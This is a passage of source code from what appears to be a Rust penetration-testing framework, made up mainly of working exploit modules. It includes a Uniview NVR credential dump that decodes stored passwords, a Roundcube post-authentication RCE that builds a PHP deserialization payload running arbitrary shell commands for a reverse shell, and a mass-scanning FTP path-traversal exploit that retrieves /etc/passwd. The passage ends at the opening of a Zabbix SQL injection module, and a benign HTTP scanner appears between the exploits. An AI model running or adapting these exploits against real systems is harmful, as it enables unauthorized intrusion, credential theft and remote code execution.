52 | /// Strip any number of nested brackets and re-wrap once if IPv6 53 | fn normalize_target(raw: &str) -> String { 54 | // Preserve or default to http:// 55 | let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") { 56 | ("http://", s) 57 | } else if let Some(s) = raw.strip_prefix("https://") { 58 | ("https://", s) 59 | } else { 60 | ("http://", raw) 61 | }; 62 | 63 | // Split authority vs path 64 | let (auth, path) = match after.find('/') { 65 | Some(i) => (&after[..i], &after[i..]), 66 | None => (after, ""), 67 | }; 68 | 69 | // Separate host_part and port_part 70 | let (host_part, port_part) = if auth.starts_with('[') { 71 | if let Some(pos) = auth.rfind(']') { 72 | (&auth[..=pos], &auth[pos + 1..]) 73 | } else { 74 | (auth, "") 75 | } 76 | } else if auth.matches(':').count() > 1 { 77 | // IPv6 without brackets 78 | (auth, "") 79 | } else if let Some(pos) = auth.rfind(':') { 80 | // IPv4 or hostname with port 81 | (&auth[..pos], &auth[pos..]) 82 | } else { 83 | (auth, "") 84 | }; 85 | 86 | // Peel away *all* outer brackets 87 | let mut inner = host_part; 88 | while inner.starts_with('[') && inner.ends_with(']') { 89 | inner = &inner[1..inner.len() - 1]; 90 | } 91 | 92 | // If it looks like IPv6, re-wrap exactly once 93 | let wrapped = if inner.contains(':') { 94 | format!("[{}]", inner) 95 | } else { 96 | inner.to_string() 97 | }; 98 | 99 | format!("{}{}{}{}", scheme, wrapped, port_part, path) 100 | } 101 | 102 | pub async fn run(target: &str) -> Result<()> { 103 | display_banner(); 104 | println!("{}", format!("[*] Target: {}", target).yellow()); 105 | println!(); 106 | 107 | // Normalize URL (scheme, IPv6 brackets, port, path) 108 | // Note: This module uses custom URL normalization to preserve scheme and path 109 | // Framework's normalize_target is for host:port only, so we keep custom implementation 110 | let target = normalize_target(target); 111 | 112 | let client = Client::builder() 113 | .danger_accept_invalid_certs(true) 114 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 115 | .build() 116 | .context("Failed to build HTTP client")?; 117 | 118 | // Fetch version info 119 | println!("{}", "[*] Getting model name and software version...".cyan()); 120 | let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target); 121 | let version_text = client 122 | .get(&version_url) 123 | .send().await? 124 | .text().await 125 | .context("Failed to fetch version")?; 126 | 127 | let model = version_text 128 | .split("szDevName\":\"") 129 | .nth(1) 130 | .and_then(|s| s.split('"').next()) 131 | .unwrap_or("Unknown"); 132 | let sw_ver = version_text 133 | .split("szSoftwareVersion\":\"") 134 | .nth(1) 135 | .and_then(|s| s.split('"').next()) 136 | .unwrap_or("Unknown"); 137 | 138 | println!("{}", format!("[+] Model: {}", model).green()); 139 | println!("{}", format!("[+] Software Version: {}", sw_ver).green()); 140 | 141 | // Prepare log file 142 | let mut log = OpenOptions::new() 143 | .create(true) 144 | .append(true) 145 | .open("nvr-success.txt") 146 | .context("Unable to open nvr-success.txt")?; 147 | 148 | writeln!(log, "\n==== Uniview NVR ====").ok(); 149 | writeln!(log, "Target: {}", target).ok(); 150 | writeln!(log, "Model: {}", model).ok(); 151 | writeln!(log, "Software Version: {}", sw_ver).ok(); 152 | 153 | // Fetch user config 154 | println!("{}", "\n[*] Getting configuration file...".cyan()); 155 | let config_url = format!( 156 | "{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}", 157 | target 158 | ); 159 | let config_text = client 160 | .get(&config_url) 161 | .send().await? 162 | .text().await 163 | .context("Failed to fetch config")?; 164 | 165 | // XML reader with trimmed text 166 | let mut reader = Reader::from_str(&config_text); 167 | reader.config_mut().trim_text(true); 168 | 169 | let mut buf = Vec::new(); 170 | let mut total_users = 0; 171 | 172 | println!(); 173 | println!("{}", "User | Stored Hash | Reversible Password".cyan().bold()); 174 | println!("{}", "_".repeat(80)); 175 | writeln!(log, "\nUser | Stored Hash | Reversible Password").ok(); 176 | writeln!(log, "{}", "_".repeat(80)).ok(); 177 | 178 | loop { 179 | match reader.read_event_into(&mut buf) { 180 | Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => { 181 | let mut username = String::new(); 182 | let mut user_hash = String::new(); 183 | let mut revpass = String::new(); 184 | 185 | for attr in e.attributes().flatten() { 186 | match attr.key { 187 | k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(), 188 | k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(), 189 | k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(), 190 | _ => {} 191 | } 192 | } 193 | 194 | let decoded = decode_pass(&revpass); 195 | println!("{}", format!("{:<9}| {:<38}| {}", username, user_hash, decoded).green()); 196 | writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok(); 197 | 198 | total_users += 1; 199 | } 200 | Ok(Event::Eof) => break, 201 | Err(e) => return Err(anyhow!("XML parse error: {}", e)), 202 | _ => {} 203 | } 204 | buf.clear(); 205 | } 206 | 207 | println!(); 208 | println!("{}", format!("[+] Total users found: {}", total_users).green().bold()); 209 | writeln!(log, "\n[+] Total users: {}", total_users).ok(); 210 | println!("{}", "[*] Results saved to nvr-success.txt".cyan()); 211 | println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow()); 212 | writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok(); 213 | 214 | Ok(()) 215 | } 216 | -------------------------------------------------------------------------------- /src/modules/scanners/sample_scanner.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Context, Result}; 2 | use colored::*; 3 | use reqwest::Client; 4 | use std::fs::File; 5 | use std::io::Write; 6 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 7 | use std::time::{Duration, Instant}; 8 | 9 | fn display_banner() { 10 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 11 | println!("{}", "║ HTTP Connectivity Scanner ║".cyan()); 12 | println!("{}", "║ Checks HTTP/HTTPS reachability and response codes ║".cyan()); 13 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 14 | println!(); 15 | } 16 | 17 | pub async fn run(target: &str) -> Result<()> { 18 | display_banner(); 19 | 20 | println!("{}", format!("[*] Target: {}", target).cyan()); 21 | 22 | let timeout_secs = prompt_timeout().await?; 23 | let check_http = prompt_bool("Check HTTP (port 80)?", true).await?; 24 | let check_https = prompt_bool("Check HTTPS (port 443)?", true).await?; 25 | let verbose = prompt_bool("Verbose output?", false).await?; 26 | let save_results = prompt_bool("Save results to file?", false).await?; 27 | 28 | if !check_http && !check_https { 29 | return Err(anyhow!("At least one protocol must be selected")); 30 | } 31 | 32 | let client = Client::builder() 33 | .timeout(Duration::from_secs(timeout_secs)) 34 | .danger_accept_invalid_certs(true) 35 | .build() 36 | .context("Failed to build HTTP client")?; 37 | 38 | let mut results = Vec::new(); 39 | let start = Instant::now(); 40 | 41 | println!(); 42 | println!("{}", "[*] Starting scan...".cyan().bold()); 43 | 44 | // Check HTTP 45 | if check_http { 46 | let url = if target.contains("://") { 47 | target.to_string() 48 | } else { 49 | format!("http://{}", target) 50 | }; 51 | 52 | if verbose { 53 | println!("{}", format!("[*] Checking {}...", url).dimmed()); 54 | } 55 | 56 | match client.get(&url).send().await { 57 | Ok(resp) => { 58 | let status = resp.status(); 59 | let status_str = status.to_string(); 60 | let content_type = resp.headers() 61 | .get("content-type") 62 | .map(|v| v.to_str().unwrap_or("unknown")) 63 | .unwrap_or("unknown"); 64 | let server = resp.headers() 65 | .get("server") 66 | .map(|v| v.to_str().unwrap_or("unknown")) 67 | .unwrap_or("unknown"); 68 | 69 | if status.is_success() { 70 | println!("{}", format!("[+] HTTP {} -> {} (Server: {}, Content-Type: {})", 71 | url, status_str, server, content_type).green()); 72 | } else if status.is_redirection() { 73 | let location = resp.headers() 74 | .get("location") 75 | .map(|v| v.to_str().unwrap_or("unknown")) 76 | .unwrap_or("unknown"); 77 | println!("{}", format!("[~] HTTP {} -> {} (Redirect: {})", url, status_str, location).yellow()); 78 | } else { 79 | println!("{}", format!("[-] HTTP {} -> {}", url, status_str).red()); 80 | } 81 | 82 | results.push(format!("HTTP {} -> {} (Server: {})", url, status_str, server)); 83 | } 84 | Err(e) => { 85 | println!("{}", format!("[-] HTTP {} -> Error: {}", url, e).red()); 86 | results.push(format!("HTTP {} -> Error: {}", url, e)); 87 | } 88 | } 89 | } 90 | 91 | // Check HTTPS 92 | if check_https { 93 | let url = if target.contains("://") { 94 | target.replace("http://", "https://") 95 | } else { 96 | format!("https://{}", target) 97 | }; 98 | 99 | if verbose { 100 | println!("{}", format!("[*] Checking {}...", url).dimmed()); 101 | } 102 | 103 | match client.get(&url).send().await { 104 | Ok(resp) => { 105 | let status = resp.status(); 106 | let status_str = status.to_string(); 107 | let server = resp.headers() 108 | .get("server") 109 | .map(|v| v.to_str().unwrap_or("unknown")) 110 | .unwrap_or("unknown"); 111 | let content_type = resp.headers() 112 | .get("content-type") 113 | .map(|v| v.to_str().unwrap_or("unknown")) 114 | .unwrap_or("unknown"); 115 | 116 | if status.is_success() { 117 | println!("{}", format!("[+] HTTPS {} -> {} (Server: {}, Content-Type: {})", 118 | url, status_str, server, content_type).green()); 119 | } else if status.is_redirection() { 120 | let location = resp.headers() 121 | .get("location") 122 | .map(|v| v.to_str().unwrap_or("unknown")) 123 | .unwrap_or("unknown"); 124 | println!("{}", format!("[~] HTTPS {} -> {} (Redirect: {})", url, status_str, location).yellow()); 125 | } else { 126 | println!("{}", format!("[-] HTTPS {} -> {}", url, status_str).red()); 127 | } 128 | 129 | results.push(format!("HTTPS {} -> {} (Server: {})", url, status_str, server)); 130 | } 131 | Err(e) => { 132 | println!("{}", format!("[-] HTTPS {} -> Error: {}", url, e).red()); 133 | results.push(format!("HTTPS {} -> Error: {}", url, e)); 134 | } 135 | } 136 | } 137 | 138 | let elapsed = start.elapsed(); 139 | 140 | // Print summary 141 | println!(); 142 | println!("{}", "=== Scan Summary ===".bold()); 143 | println!(" Target: {}", target); 144 | println!(" Duration: {:.2}s", elapsed.as_secs_f64()); 145 | println!(" Checks: {}", results.len()); 146 | 147 | // Save results 148 | if save_results && !results.is_empty() { 149 | let filename = prompt_with_default("Output filename", "http_scan_results.txt").await?; 150 | let mut file = File::create(&filename).context("Failed to create output file")?; 151 | writeln!(file, "HTTP Connectivity Scan Results")?; 152 | writeln!(file, "Target: {}", target)?; 153 | writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64())?; 154 | writeln!(file)?; 155 | for result in &results { 156 | writeln!(file, "{}", result)?; 157 | } 158 | println!("{}", format!("[+] Results saved to '{}'", filename).green()); 159 | } 160 | 161 | Ok(()) 162 | } 163 | 164 | async fn prompt_bool(message: &str, default: bool) -> Result { 165 | let hint = if default { "Y/n" } else { "y/N" }; 166 | print!("{}", format!("{} [{}]: ", message, hint).cyan().bold()); 167 | tokio::io::stdout() 168 | .flush() 169 | .await 170 | .context("Failed to flush stdout")?; 171 | let mut input = String::new(); 172 | tokio::io::BufReader::new(tokio::io::stdin()) 173 | .read_line(&mut input) 174 | .await 175 | .context("Failed to read input")?; 176 | let trimmed = input.trim().to_lowercase(); 177 | match trimmed.as_str() { 178 | "" => Ok(default), 179 | "y" | "yes" => Ok(true), 180 | "n" | "no" => Ok(false), 181 | _ => Ok(default), 182 | } 183 | } 184 | 185 | async fn prompt_with_default(message: &str, default: &str) -> Result { 186 | print!("{}", format!("{} [{}]: ", message, default).cyan().bold()); 187 | tokio::io::stdout() 188 | .flush() 189 | .await 190 | .context("Failed to flush stdout")?; 191 | let mut input = String::new(); 192 | tokio::io::BufReader::new(tokio::io::stdin()) 193 | .read_line(&mut input) 194 | .await 195 | .context("Failed to read input")?; 196 | let trimmed = input.trim(); 197 | if trimmed.is_empty() { 198 | Ok(default.to_string()) 199 | } else { 200 | Ok(trimmed.to_string()) 201 | } 202 | } 203 | 204 | async fn prompt_timeout() -> Result { 205 | print!("{}", "Timeout in seconds [10]: ".cyan().bold()); 206 | tokio::io::stdout() 207 | .flush() 208 | .await 209 | .context("Failed to flush stdout")?; 210 | let mut input = String::new(); 211 | tokio::io::BufReader::new(tokio::io::stdin()) 212 | .read_line(&mut input) 213 | .await 214 | .context("Failed to read input")?; 215 | let trimmed = input.trim(); 216 | if trimmed.is_empty() { 217 | Ok(10) 218 | } else { 219 | trimmed.parse().map_err(|_| anyhow!("Invalid timeout")) 220 | } 221 | } 222 | -------------------------------------------------------------------------------- /src/modules/exploits/roundcube/roundcube_postauth_rce.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Context, Result}; 2 | use data_encoding::BASE32_NOPAD; 3 | use md5; 4 | use rand::Rng; 5 | use base64::Engine as _; 6 | use regex::Regex; 7 | use reqwest::{Client, cookie::Jar, redirect::Policy}; 8 | use std::sync::Arc; 9 | use std::time::{SystemTime, UNIX_EPOCH}; 10 | use rand::distr::Alphanumeric; 11 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 12 | /// // Decode base64 constant for small transparent PNG 13 | fn transparent_png() -> Vec { 14 | const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=="; 15 | base64::engine::general_purpose::STANDARD 16 | .decode(PNG_B64) 17 | .unwrap_or_default() 18 | } 19 | 20 | /// // Build the serialized PHP payload using Crypt_GPG_Engine gadget 21 | fn build_serialized_payload(cmd: &str) -> String { 22 | use crate::utils::escape_shell_command; 23 | 24 | // Escape command before encoding to prevent injection 25 | let escaped_cmd = escape_shell_command(cmd); 26 | let encoded = BASE32_NOPAD.encode(escaped_cmd.as_bytes()); 27 | let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded); 28 | let len = gpgconf.len(); 29 | format!( 30 | "|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};", 31 | len, gpgconf 32 | ) 33 | } 34 | 35 | fn generate_from() -> &'static str { 36 | const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"]; 37 | let idx = rand::rng().random_range(0..OPTIONS.len()); 38 | OPTIONS[idx] 39 | } 40 | 41 | fn generate_id() -> Result { 42 | let mut rand_bytes = [0u8; 8]; 43 | rand::rng().fill(&mut rand_bytes); 44 | let timestamp = SystemTime::now() 45 | .duration_since(UNIX_EPOCH) 46 | .context("System time is before Unix epoch")? 47 | .as_nanos() 48 | .to_string(); 49 | Ok(format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))) 50 | } 51 | 52 | fn generate_uploadid() -> Result { 53 | let millis = SystemTime::now() 54 | .duration_since(UNIX_EPOCH) 55 | .context("System time is before Unix epoch")? 56 | .as_millis(); 57 | Ok(format!("upload{}", millis)) 58 | } 59 | 60 | async fn fetch_login_page(client: &Client, base: &str) -> Result { 61 | let mut url = reqwest::Url::parse(base)?; 62 | url.query_pairs_mut().append_pair("_task", "login"); 63 | 64 | let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?; 65 | if res.status() != 200 { 66 | return Err(anyhow!("Unexpected HTTP status: {}", res.status())); 67 | } 68 | Ok(res.text().await?) 69 | } 70 | 71 | async fn fetch_csrf_token(client: &Client, base: &str) -> Result { 72 | let body = fetch_login_page(client, base).await?; 73 | let re = Regex::new(r#"]*name="_token"[^>]*value="([^"]+)""#)?; 74 | if let Some(cap) = re.captures(&body) { 75 | Ok(cap[1].to_string()) 76 | } else { 77 | Err(anyhow!("CSRF token not found")) 78 | } 79 | } 80 | 81 | async fn check_version(client: &Client, base: &str) -> Result> { 82 | let body = fetch_login_page(client, base).await?; 83 | let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?; 84 | if let Some(cap) = re.captures(&body) { 85 | Ok(cap[1].parse().ok()) 86 | } else { 87 | Ok(None) 88 | } 89 | } 90 | 91 | async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> { 92 | let token = fetch_csrf_token(client, base).await?; 93 | let mut url = reqwest::Url::parse(base)?; 94 | url.query_pairs_mut().append_pair("_task", "login"); 95 | 96 | let mut params = vec![ 97 | ("_token", token), 98 | ("_task", "login".to_string()), 99 | ("_action", "login".to_string()), 100 | ("_url", "_task=login".to_string()), 101 | ("_user", username.to_string()), 102 | ("_pass", password.to_string()), 103 | ]; 104 | if !host.is_empty() { 105 | params.push(("_host", host.to_string())); 106 | } 107 | 108 | let res = client 109 | .post(url) 110 | .form(¶ms) 111 | .send() 112 | .await 113 | .map_err(|e| anyhow!("Login request failed: {e}"))?; 114 | 115 | if res.status() != 302 { 116 | return Err(anyhow!("Login failed: HTTP {}", res.status())); 117 | } 118 | Ok(()) 119 | } 120 | 121 | async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> { 122 | let png = transparent_png(); 123 | let boundary: String = rand::rng() 124 | .sample_iter(&Alphanumeric) 125 | .take(8) 126 | .map(char::from) 127 | .collect(); 128 | 129 | let mut body = Vec::new(); 130 | body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes()); 131 | body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes()); 132 | body.extend_from_slice(b"Content-Type: image/png\r\n\r\n"); 133 | body.extend_from_slice(&png); 134 | body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes()); 135 | 136 | let mut url = reqwest::Url::parse(base)?; 137 | url.set_query(None); 138 | url.query_pairs_mut() 139 | .append_pair("_task", "settings") 140 | .append_pair("_remote", "1") 141 | .append_pair("_from", &format!("edit-!{}", generate_from())) 142 | .append_pair("_id", &generate_id()?) 143 | .append_pair("_uploadid", &generate_uploadid()?) 144 | .append_pair("_action", "upload"); 145 | 146 | client 147 | .post(url) 148 | .header("Content-Type", format!("multipart/form-data; boundary={}", boundary)) 149 | .body(body) 150 | .send() 151 | .await 152 | .map_err(|e| anyhow!("Upload request failed: {e}"))?; 153 | 154 | println!("[+] Exploit attempt complete. Check your listener or reverse shell."); 155 | Ok(()) 156 | } 157 | 158 | /// // Entry point for dispatcher 159 | pub async fn run(target: &str) -> Result<()> { 160 | let mut base_url = target.trim().to_string(); 161 | if !base_url.starts_with("http://") && !base_url.starts_with("https://") { 162 | base_url = format!("http://{}", base_url); 163 | } 164 | base_url = base_url.trim_end_matches('/').to_string(); 165 | 166 | // // HTTP client with cookies and no redirects 167 | let jar = Jar::default(); 168 | let client = Client::builder() 169 | .cookie_provider(Arc::new(jar)) 170 | .redirect(Policy::none()) 171 | .danger_accept_invalid_certs(true) 172 | .timeout(std::time::Duration::from_secs(10)) 173 | .build()?; 174 | 175 | if let Some(ver) = check_version(&client, &base_url).await? { 176 | println!("[*] Detected Roundcube version: {}", ver); 177 | if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) { 178 | println!("[!] Version appears vulnerable!"); 179 | } else { 180 | println!("[-] Version not in known vulnerable range."); 181 | } 182 | } else { 183 | println!("[?] Could not determine version."); 184 | } 185 | 186 | let mut username = String::new(); 187 | let mut password = String::new(); 188 | let mut host = String::new(); 189 | let mut command = String::new(); 190 | 191 | print!("Username: "); 192 | tokio::io::stdout() 193 | .flush() 194 | .await 195 | .context("Failed to flush stdout")?; 196 | tokio::io::BufReader::new(tokio::io::stdin()) 197 | .read_line(&mut username) 198 | .await 199 | .context("Failed to read username")?; 200 | 201 | print!("Password: "); 202 | tokio::io::stdout() 203 | .flush() 204 | .await 205 | .context("Failed to flush stdout")?; 206 | tokio::io::BufReader::new(tokio::io::stdin()) 207 | .read_line(&mut password) 208 | .await 209 | .context("Failed to read password")?; 210 | 211 | print!("Host parameter (optional): "); 212 | tokio::io::stdout() 213 | .flush() 214 | .await 215 | .context("Failed to flush stdout")?; 216 | tokio::io::BufReader::new(tokio::io::stdin()) 217 | .read_line(&mut host) 218 | .await 219 | .context("Failed to read host")?; 220 | 221 | print!("Command to execute: "); 222 | tokio::io::stdout() 223 | .flush() 224 | .await 225 | .context("Failed to flush stdout")?; 226 | tokio::io::BufReader::new(tokio::io::stdin()) 227 | .read_line(&mut command) 228 | .await 229 | .context("Failed to read command")?; 230 | 231 | let username = username.trim(); 232 | let password = password.trim(); 233 | let host = host.trim(); 234 | let command = command.trim(); 235 | 236 | if username.is_empty() || password.is_empty() || command.is_empty() { 237 | return Err(anyhow!("Username, password and command must be provided")); 238 | } 239 | 240 | login(&client, &base_url, username, password, host).await?; 241 | let serialized = build_serialized_payload(command); 242 | upload_payload(&client, &base_url, &serialized).await 243 | } 244 | -------------------------------------------------------------------------------- /src/modules/exploits/ftp/pachev_ftp_path_traversal_1_0.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Result, Context}; 2 | use suppaftp::FtpStream; 3 | use std::fs::{File, OpenOptions}; 4 | use std::io::{BufRead, BufReader, Write}; 5 | use std::path::Path; 6 | use tokio::task; 7 | use tokio::sync::Semaphore; 8 | use futures::stream::{FuturesUnordered, StreamExt}; 9 | use colored::*; // // Colorful output 10 | use std::time::Duration; 11 | use tokio::time::timeout; 12 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 13 | 14 | const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning 15 | const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection 16 | 17 | // // Format IPv4 or IPv6 address with port (handles multiple layers of brackets) 18 | fn format_addr(target: &str, port: u16) -> String { 19 | let mut clean = target.trim().to_string(); 20 | 21 | while clean.starts_with('[') && clean.ends_with(']') { 22 | clean = clean[1..clean.len() - 1].to_string(); 23 | } 24 | 25 | if clean.contains(':') { 26 | format!("[{}]:{}", clean, port) 27 | } else { 28 | format!("{}:{}", clean, port) 29 | } 30 | } 31 | 32 | // // Actual FTP path traversal exploit 33 | fn exploit_target(target: String, port: u16) -> Result { 34 | let addr = format_addr(&target, port); 35 | 36 | println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow()); 37 | 38 | // Connect to FTP server 39 | let mut ftp = FtpStream::connect(&addr) 40 | .map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?; 41 | 42 | ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?; 43 | println!("{}", "[+] Logged in successfully as 'pachev'.".green()); 44 | 45 | println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow()); 46 | 47 | let safe_name = target.replace(['[', ']', ':'], "_"); 48 | let out_file = format!("{}_passwd.txt", safe_name); 49 | let mut file = File::create(&out_file)?; 50 | 51 | ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> { 52 | std::io::copy(reader, &mut file) 53 | .map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new( 54 | std::io::ErrorKind::Other, 55 | format!("Failed to write file: {}", e) 56 | )))?; 57 | Ok(()) 58 | }) 59 | .map_err(|e| anyhow!("Failed to retrieve file: {}", e))?; 60 | 61 | ftp.quit().ok(); 62 | 63 | println!("{}", format!("[+] File saved as {}", out_file).green()); 64 | 65 | Ok(format!("{} SUCCESS", target)) 66 | } 67 | 68 | // // Save result line into `results.txt` 69 | fn save_result(line: &str) -> Result<()> { 70 | let mut file = OpenOptions::new() 71 | .create(true) 72 | .append(true) 73 | .open("results.txt")?; 74 | 75 | writeln!(file, "{}", line)?; 76 | Ok(()) 77 | } 78 | 79 | // // Public auto-dispatch entry point 80 | pub async fn run(target: &str) -> Result<()> { 81 | let target = target.to_string(); // // Own target early to avoid lifetime issues 82 | 83 | print!("{}", "Enter the FTP port (default 21): ".cyan().bold()); 84 | tokio::io::stdout() 85 | .flush() 86 | .await 87 | .context("Failed to flush stdout")?; 88 | let mut port_input = String::new(); 89 | tokio::io::BufReader::new(tokio::io::stdin()) 90 | .read_line(&mut port_input) 91 | .await 92 | .context("Failed to read port")?; 93 | let port_input = port_input.trim(); 94 | let port = if port_input.is_empty() { 95 | 21 96 | } else { 97 | port_input.parse::().map_err(|_| anyhow!("Invalid port number: {}", port_input))? 98 | }; 99 | 100 | print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold()); 101 | tokio::io::stdout() 102 | .flush() 103 | .await 104 | .context("Failed to flush stdout")?; 105 | let mut use_list = String::new(); 106 | tokio::io::BufReader::new(tokio::io::stdin()) 107 | .read_line(&mut use_list) 108 | .await 109 | .context("Failed to read list choice")?; 110 | let use_list = use_list.trim().to_lowercase(); 111 | 112 | if use_list == "yes" || use_list == "y" { 113 | print!("{}", "Enter path to the IP list file: ".cyan().bold()); 114 | tokio::io::stdout() 115 | .flush() 116 | .await 117 | .context("Failed to flush stdout")?; 118 | let mut path = String::new(); 119 | tokio::io::BufReader::new(tokio::io::stdin()) 120 | .read_line(&mut path) 121 | .await 122 | .context("Failed to read file path")?; 123 | let path = path.trim(); 124 | 125 | if !Path::new(path).exists() { 126 | return Err(anyhow!("List file does not exist: {}", path)); 127 | } 128 | 129 | let file = File::open(path)?; 130 | let reader = BufReader::new(file); 131 | 132 | let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS)); 133 | let mut futures = FuturesUnordered::new(); 134 | 135 | for line_result in reader.lines() { 136 | match line_result { 137 | Ok(ip) => { 138 | let ip = ip.trim(); 139 | if ip.is_empty() { 140 | continue; 141 | } 142 | let ip_owned = ip.to_string(); 143 | let ip_for_errors = ip_owned.clone(); // Clone for error messages 144 | let port = port; 145 | let permit = semaphore.clone().acquire_owned().await?; 146 | 147 | println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow()); 148 | 149 | futures.push(tokio::spawn(async move { 150 | let _permit = permit; // // Hold permit alive 151 | let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure 152 | let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port)); 153 | 154 | match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await { 155 | Ok(Ok(Ok(success))) => { 156 | println!("{}", format!("[+] Success: {}", success).green().bold()); 157 | let _ = save_result(&success); 158 | } 159 | Ok(Ok(Err(e))) => { 160 | println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red()); 161 | let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e)); 162 | } 163 | Ok(Err(e)) => { 164 | println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red()); 165 | let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e)); 166 | } 167 | Err(_) => { 168 | println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow()); 169 | let _ = save_result(&format!("{} TIMEOUT", ip_for_errors)); 170 | } 171 | } 172 | 173 | Ok::<(), anyhow::Error>(()) 174 | })); 175 | } 176 | Err(e) => { 177 | println!("{}", format!("[!] Failed to read line: {}", e).red()); 178 | } 179 | } 180 | } 181 | 182 | // // Wait for all tasks to complete 183 | while let Some(res) = futures.next().await { 184 | if let Err(e) = res { 185 | println!("{}", format!("[!] Task error: {}", e).red()); 186 | } 187 | } 188 | } else { 189 | // // Single target mode 190 | let target_owned = target.to_string(); 191 | let port = port; 192 | 193 | println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow()); 194 | let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port)); 195 | match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await { 196 | Ok(Ok(Ok(success))) => { 197 | println!("{}", format!("[+] Success: {}", success).green().bold()); 198 | let _ = save_result(&success); 199 | } 200 | Ok(Ok(Err(e))) => { 201 | println!("{}", format!("[-] Exploit error: {}", e).red()); 202 | let _ = save_result(&format!("{} FAIL: {}", target, e)); 203 | } 204 | Ok(Err(e)) => { 205 | println!("{}", format!("[-] Join error: {}", e).red()); 206 | let _ = save_result(&format!("{} FAIL: Join error {}", target, e)); 207 | } 208 | Err(_) => { 209 | println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow()); 210 | let _ = save_result(&format!("{} TIMEOUT", target)); 211 | } 212 | } 213 | } 214 | 215 | Ok(()) 216 | } 217 | -------------------------------------------------------------------------------- /src/modules/exploits/zabbix/zabbix_7_0_0_sql_injection.rs: -------------------------------------------------------------------------------- 1 | //! Zabbix 7.0.0 SQL Injection - CVE-2024-42327 2 | //! 3 | //! This module exploits a time-based SQL injection vulnerability in Zabbix API 4 | //! that allows arbitrary SQL execution and potential remote code execution. 5 | //! 6 | //! ## Vulnerability Details 7 | //! - **CVE**: CVE-2024-42327 8 | //! - **Affected Versions**: Zabbix 7.0.0 9 | //! - **Attack Vector**: SQL injection in API endpoints 10 | //! - **Impact**: Information disclosure, potential RCE 11 | //! 12 | //! ## Usage 13 | //! ```bash 14 | //! run exploit zabbix/zabbix_7_0_0_sql_injection 15 | //! ``` 16 | //! 17 | //! The module supports: 18 | //! - Loading SQL payloads from file (`sql_payloads.txt`) 19 | //! - Custom SQL payload input 20 | //! - Default SLEEP-based payload for time-based detection 21 | //! 22 | //! ## Security Notes 23 | //! - Proper error handling with context messages 24 | //! - Input validation for user-provided payloads 25 | //! - Timeout handling for all requests 26 | //! - Secure credential handling 27 | //! 28 | //! For authorized penetration testing only. 29 | 30 | use anyhow::{anyhow, Context, Result}; 31 | use colored::*; 32 | use reqwest::Client; 33 | use serde_json::json; 34 | use std::fs; 35 | use std::time::Duration; 36 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 37 | 38 | const HEADERS: &str = "application/json"; 39 | const DEFAULT_TIMEOUT_SECS: u64 = 30; 40 | 41 | /// 